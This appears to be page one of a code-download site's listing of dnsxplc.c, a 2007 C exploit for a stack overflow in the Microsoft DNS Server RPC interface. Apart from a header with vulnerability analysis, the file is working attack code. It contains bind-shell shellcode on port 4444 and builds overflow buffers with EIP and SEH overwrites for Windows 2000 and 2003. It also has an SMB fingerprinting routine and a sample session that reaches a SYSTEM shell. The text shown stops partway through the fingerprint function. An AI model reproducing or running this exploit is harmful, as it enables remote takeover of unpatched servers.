⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dnsxplc.c

📁 这是一个dns溢出的源代码
💻 C
📖 第 1 页 / 共 2 页
字号:
/* Microsoft DNS Server Remote Code execution Exploit and analysis 
   Advisory: http://www.microsoft.com/technet/security/advisory/935964.mspx
   This remote exploit works against port 445 (also Microsoft RPC api used)

  Author:
  * Mario Ballano  ( mballano~gmail.com )  
  * Andres Tarasco ( atarasco~gmail.com )
   
  Timeline:
  * April,12,2007: Microsoft advisory published
  * April,13,2007: POC Exploit coded
  * April,14,2007: Microsoft notified about a new attack vector against port 445 (this exploit code)
  * April,14,2007: Working exploit for Windows 2000 server SP4 (Spanish)
  * April,15,2007: Working exploit for Windows 2003 server SP2 (Spanish) /GS bypassed
  * April,16,2007: hackers hax the w0rld and got busted.
  * April,xx,2007: Lammer release the first buggy worm
  * Xxxxx,xx,2007: Finally it was true. Nacked photos of Gary m.. being abducted were found at NSA servers
  
  
  Usage:
  D:\DNSTEST>dnstest.exe 192.168.1.7
    -------------------------------------------------------
    Microsoft Dns Server local & remote RPC Exploit code (port 445)
    Exploit code by Andres Tarasco & Mario Ballano
    Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish)
    -------------------------------------------------------

   [+] Trying to fingerprint target.. 05 02
   [+] Remote Host identified as Windows 2003
   [+] Connecting to 50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_np:192.168.1.7[\\pipe\\dnsserver]
   [+] RpcBindingFromStringBinding returned 0x0
   [+] Calling remote procedure DnssrvOperation()
   [+] Now try to connect to port 4444

  D:\DNSTEST>nc 192.168.1.7 4444
   Microsoft Windows [Version 5.2.3790]
   (C) Copyright 1985-2003 Microsoft Corp.

   C:\WINDOWS\system32>whoami
   nt authority\system  

  Vulnerability Analysis:

  The function Lookup_ZoneTreeNodeFromDottedName() uses a fixed local buffer to convert
  a string calling Name_ConvertFileNameToCountName(), this string can contain back-slash 
  octal characters. Although some bounds checks are done when writting to the buffer is 
  still possible to bypass them using a string with multiple backslashed chars, resulting
  in a stack based buffer overflow.

  This function can be reached through DNS RPC Interface, the execution flow 
  will be as follows:

  R_DnssrvQuery(pa,buggybuffer,pc,DesiredAccess,pd);                  // RPC Exported function
  R_DnssrvQuery2(0,0,pa,buggybuffer,pc,DesiredAccess,pd);      
  RpcUtil_FindZone(buggybuffer,1,DesiredAccess);  
  Zone_FindZoneByName(buggybuffer);                                   // Here we go!
  Lookup_ZoneTreeNodeFromDottedName(buggybuffer,0,0x2000000);
	  	  Name_ConvertFileNameToCountName(localbuffer,buggybuffer,0); // Using fixed size local buffer
					extractQuotedChar(x,x,buggybuffer);               // Extract octal number  	     
  Disassemblies at the end of the code:

  References:
  - Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server. (David Litchfield, NGSSoftware).
  - www.48bits.com
  - http://www.514.es

  Just compile the code with nmake and have fun!


*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include "dnsxpl.h"
#include <winsock.h>
#pragma comment(lib,"ws2_32")

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }
int fingerprint (char *host);
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize);


unsigned char buf[] = /* Bindshell 4444 */
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18"
"\xc0\x9e\xb3\x83\xeb\xfc\xe2\xf4\xe4\xaa\x75\xfe\xf0\x39\x61\x4c"
"\xe7\xa0\x15\xdf\x3c\xe4\x15\xf6\x24\x4b\xe2\xb6\x60\xc1\x71\x38"
"\x57\xd8\x15\xec\x38\xc1\x75\xfa\x93\xf4\x15\xb2\xf6\xf1\x5e\x2a"
"\xb4\x44\x5e\xc7\x1f\x01\x54\xbe\x19\x02\x75\x47\x23\x94\xba\x9b"
"\x6d\x25\x15\xec\x3c\xc1\x75\xd5\x93\xcc\xd5\x38\x47\xdc\x9f\x58"
"\x1b\xec\x15\x3a\x74\xe4\x82\xd2\xdb\xf1\x45\xd7\x93\x83\xae\x38"
"\x58\xcc\x15\xc3\x04\x6d\x15\xf3\x10\x9e\xf6\x3d\x56\xce\x72\xe3"
"\xe7\x16\xf8\xe0\x7e\xa8\xad\x81\x70\xb7\xed\x81\x47\x94\x61\x63"
"\x70\x0b\x73\x4f\x23\x90\x61\x65\x47\x49\x7b\xd5\x99\x2d\x96\xb1"
"\x4d\xaa\x9c\x4c\xc8\xa8\x47\xba\xed\x6d\xc9\x4c\xce\x93\xcd\xe0"
"\x4b\x93\xdd\xe0\x5b\x93\x61\x63\x7e\xa8\x8f\xef\x7e\x93\x17\x52"
"\x8d\xa8\x3a\xa9\x68\x07\xc9\x4c\xce\xaa\x8e\xe2\x4d\x3f\x4e\xdb"
"\xbc\x6d\xb0\x5a\x4f\x3f\x48\xe0\x4d\x3f\x4e\xdb\xfd\x89\x18\xfa"
"\x4f\x3f\x48\xe3\x4c\x94\xcb\x4c\xc8\x53\xf6\x54\x61\x06\xe7\xe4"
"\xe7\x16\xcb\x4c\xc8\xa6\xf4\xd7\x7e\xa8\xfd\xde\x91\x25\xf4\xe3"
"\x41\xe9\x52\x3a\xff\xaa\xda\x3a\xfa\xf1\x5e\x40\xb2\x3e\xdc\x9e"
"\xe6\x82\xb2\x20\x95\xba\xa6\x18\xb3\x6b\xf6\xc1\xe6\x73\x88\x4c"
"\x6d\x84\x61\x65\x43\x97\xcc\xe2\x49\x91\xf4\xb2\x49\x91\xcb\xe2"
"\xe7\x10\xf6\x1e\xc1\xc5\x50\xe0\xe7\x16\xf4\x4c\xe7\xf7\x61\x63"
"\x93\x97\x62\x30\xdc\xa4\x61\x65\x4a\x3f\x4e\xdb\xe8\x4a\x9a\xec"
"\x4b\x3f\x48\x4c\xc8\xc0\x9e\xb3";
int local=1;


void __cdecl main(int argc, char *argv[])
{
   RPC_STATUS status;
   unsigned char * pszUuid				 = "50abc2a4-574d-40b3-9d66-ee4fd5fba076";
   unsigned char * pszProtocolSequence = "ncacn_np";
   unsigned char * pszNetworkAddress	 = NULL;
   unsigned char * pszEndpoint			 = "\\pipe\\dnsserver";
   unsigned char * pszOptions			 = NULL;
   unsigned char * pszStringBinding	 = NULL;
   unsigned long ulCode;
   int os;
   
   
   printf(" -------------------------------------------------------\n");
   printf(" Microsoft Dns Server local & remote RPC Exploit code (port 445)\n");
   printf(" Exploit code by Andres Tarasco & Mario Ballano\n");
   printf(" Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish)\n");
   printf(" -------------------------------------------------------\n\n");
   
   if (argc!=2) {
      printf(" [-] Usage: %s <ip>\n",argv[0]);
      exit(1);    
   }

   pszNetworkAddress=argv[1];
   if (strcmp(argv[1],"127.0.0.1")!=0) {
      local=0;
   }
   
   //Test if the remote server is supported (2k & 2k3)
   os=fingerprint(pszNetworkAddress);
   
   if (os==-1)  {
      printf("[-] Unable to fingerprint remote Host\n");
      exit(-1);
   } else {
      switch (os) {
      case 0:  printf("[+] Remote Host identified as Windows 2000\n"); break;
      case 1:  printf("[-] Remote Host identified as Windows XP\n"); exit(1); break;
      case 2:  printf("[+] Remote Host identified as Windows 2003\n"); break;
      default: printf("[-] Unknown Remote Host OS\n");exit(1); break;
      }
   }
      
   //Create an RPC connection
   status = RpcStringBindingCompose(pszUuid,pszProtocolSequence,pszNetworkAddress,pszEndpoint,pszOptions,&pszStringBinding);
   printf("[+] Connecting to %s\n", pszStringBinding);
   
   if (status==RPC_S_OK) {
      status = RpcBindingFromStringBinding(pszStringBinding,&dns);
      printf("[+] RpcBindingFromStringBinding returned 0x%x\n", status);
      if (status==RPC_S_OK) { 
         wchar_t *parama=L"PARAMAA"; //Rpc call parameter1
         unsigned char *paramb=NULL; //Rpc call parameter2 that triggers overflow
         unsigned char *paramc="PARAMC";//Rpc call parameter3
         long	*paramd = malloc(50); //Rpc call parameter4
         long *parame=malloc(50);	 //rpc call paramameter5	
         int i,j;
         long ret;       
                  
         if (os==0) { //Windows 2000 Server exploit 
            #define BUFSIZE (0x3A2 +8 +24 +sizeof(buf)*2)
            
            paramb=malloc(BUFSIZE +1);  //Alloc needed space
            memset(paramb,'\\',BUFSIZE); //Fill the whole buffer with \
            
            for(i=0;i<=0x3A2;i+=2) { //0x3A2 chars needed to trigger the overflow 
               paramb[i+1]='a';
            }               
            
            paramb[0x3a2+1]=0xF8; //overwrite EIP with return address 0x79467EF8  ( kernel32.dll call esp )
            paramb[0x3a2+3]=0x7e; //Change it to match your system
            paramb[0x3a2+5]=0x46; //Just execute findjmp2 kernel32.dll esp
            paramb[0x3a2+7]=0x79; //and have fun :-)
            
            //Pad with 3 DWORDS (our shellcode is at ESP, 12 bytes above)
            memcpy(&paramb[0x3a2+8],"\\a\\a\\a\\a\\b\\b\\b\\b\\c\\c\\c\\c",24);
            
            i=0x3a2+8+24; //set the possition for our shellcode
            for(j=0;j<sizeof(buf);j++) {
               paramb[i+1]=buf[j]; //add the shellcode to the buffer
               i+=2;
            }               
            paramb[BUFSIZE]='\0';            
            
         } else { //Windows 2003 server exploit. Overwrite SEH handler
            #undef  BUFSIZE
            #define BUFSIZE 10000
            #define Base2Search       (BYTE *)(0x7ffb0000)    //	AnsiCodePageData
            #define SEH_HANDLER_DELTA 0x661 
            DWORD jmpoffset=0x7FFc07A4; //This AnsiCodePageData offset works for me on a VMWare
                         
            paramb=malloc(BUFSIZE +1); 													               
            memset (paramb,'\\',BUFSIZE);
            for( i=0 ; i< BUFSIZE; i+=2 ) {									
               paramb[i+1]='a';					
            }
                        
            //Adding jmp $ + 6 
            paramb[SEH_HANDLER_DELTA*2-7]  =0x90;
            paramb[SEH_HANDLER_DELTA*2-5]  =0x90;
            paramb[SEH_HANDLER_DELTA*2-3]  =0xEB;
            paramb[SEH_HANDLER_DELTA*2-1]  =0x04;            

            //add ret for SEH 
            if (local) {                
               DWORD Off2popAndRet = (DWORD) find_jmp(Base2Search,0x100000); //search AnsiCodePageData for valid rets
               if(Off2popAndRet) {
                  printf("[+] Valid Offset found at 0x%p!!\n", Off2popAndRet);
                  paramb[SEH_HANDLER_DELTA*2+1]  =(unsigned char)  Off2popAndRet & 0xFF;
                  paramb[SEH_HANDLER_DELTA*2+3]  =(unsigned char) (Off2popAndRet >>8 ) & 0xFF;
                  paramb[SEH_HANDLER_DELTA*2+5]  =(unsigned char) (Off2popAndRet >> 16 ) & 0xFF;
                  paramb[SEH_HANDLER_DELTA*2+7]  =(unsigned char) (Off2popAndRet >> 24 ) & 0xFF;               
               } else {
                  printf("[-] Unable to locate valid PopAndRet\n");
                  exit(-1);
               }
            } else { //jmpoffset (shouldnt work most times as its different for other systems)               
               paramb[SEH_HANDLER_DELTA*2+1]  =(unsigned char) jmpoffset & 0xFF;
               paramb[SEH_HANDLER_DELTA*2+3]  =(unsigned char) (jmpoffset >>8 ) & 0xFF;
               paramb[SEH_HANDLER_DELTA*2+5]  =(unsigned char) (jmpoffset >> 16 ) & 0xFF;
               paramb[SEH_HANDLER_DELTA*2+7]  =(unsigned char) (jmpoffset >> 24 ) & 0xFF;               
            }
                        
            i=SEH_HANDLER_DELTA*2+8;
            for(j=0;j<sizeof(buf)-1;j++) {
               paramb[i+1]=buf[j]; //add the Shellcode
               i+=2;
            }               
            paramb[BUFSIZE]='\0';           
         }

         printf("%s\n",paramb);//exit(1);

         printf("[+] Calling remote procedure DnssrvOperation()\n");
         printf("[+] Now try to connect to port 4444\n");
         RpcTryExcept {					              
            ret=DnssrvQuery(parama,paramb,paramc,paramd,parame) ; //send the overflow call
            printf("[-] Return code: %i\r",ret);
         }				 
         RpcExcept(1) {
            ulCode = RpcExceptionCode(); //Show returned errors from remote DNS server
            printf("[-] RPC Server reported exception 0x%lx = %ld\n", ulCode, ulCode);
            switch (ulCode) {
            case 5: printf("[-] Access Denied, authenticate first with \"net use \\\\%s pass /u:user\"\n",argv[1]);break;
            case 1722:printf("[-] Looks like there is no remote dns server\n"); break;
            case 1726:printf("[-] Looks like remote RPC server crashed :/\n"); break; //TODO revisar error code
            default:	break;         
            }
         }
         RpcEndExcept		
      }
   }
}


/******************************************************************************************************/
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize)
{	
   DWORD i;
   BYTE *p;
   BYTE *retval = NULL;	
   
   printf("[+] Searching 0x%x bytes\n",dwSize);
   for (i=0;i<(dwSize-4);i++)
   {
      p = lpAddress + i;      
      //  Search for POP + POP + RET     
      if ((p[0] > 0x57) && (p[0] < 0x5F) && (p[1] > 0x57) && (p[1] < 0x5F) && (p[2] > 0xC1) && (p[2] < 0xC4)) {
         retval = p;
         break;
      }      
      //  Search for CALL DWORD PTR [ESP+8]      
      if   (   (p[0] == 0xFF) && 
         (p[1] == 0x54) && 
         (p[2] == 0x24) && 
         (p[3]==0x8) )
      {
         retval = p;
         break;
      }
   }   
   return retval;
}
/******************************************************************************************************/
int fingerprint (char *host) {
   char req1[] =
      "\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
      "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f"
      "\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02"
      "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f"
      "\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70"
      "\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30"
      "\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54"
      "\x20\x4c\x4d\x20\x30\x2e\x31\x32";
   char req2[] =
      "\x00\x00\x00\xa4\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
      "\x00\x00\x10\x00\x0c\xff\x00\xa4\x00\x04\x11\x0a\x00\x00\x00\x00"
      "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xd4\x00\x00\x80\x69\x00\x4e"
      "\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xe0\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00"
      "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
      "\x35\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
      "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
      "\x2e\x00\x30\x00\x00\x00\x00";
   
   WSADATA ws;   
   int sock;
   struct sockaddr_in remote;   
   unsigned char buf[0x300];
   int i;
   OSVERSIONINFO os;
   
   if (local) {

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -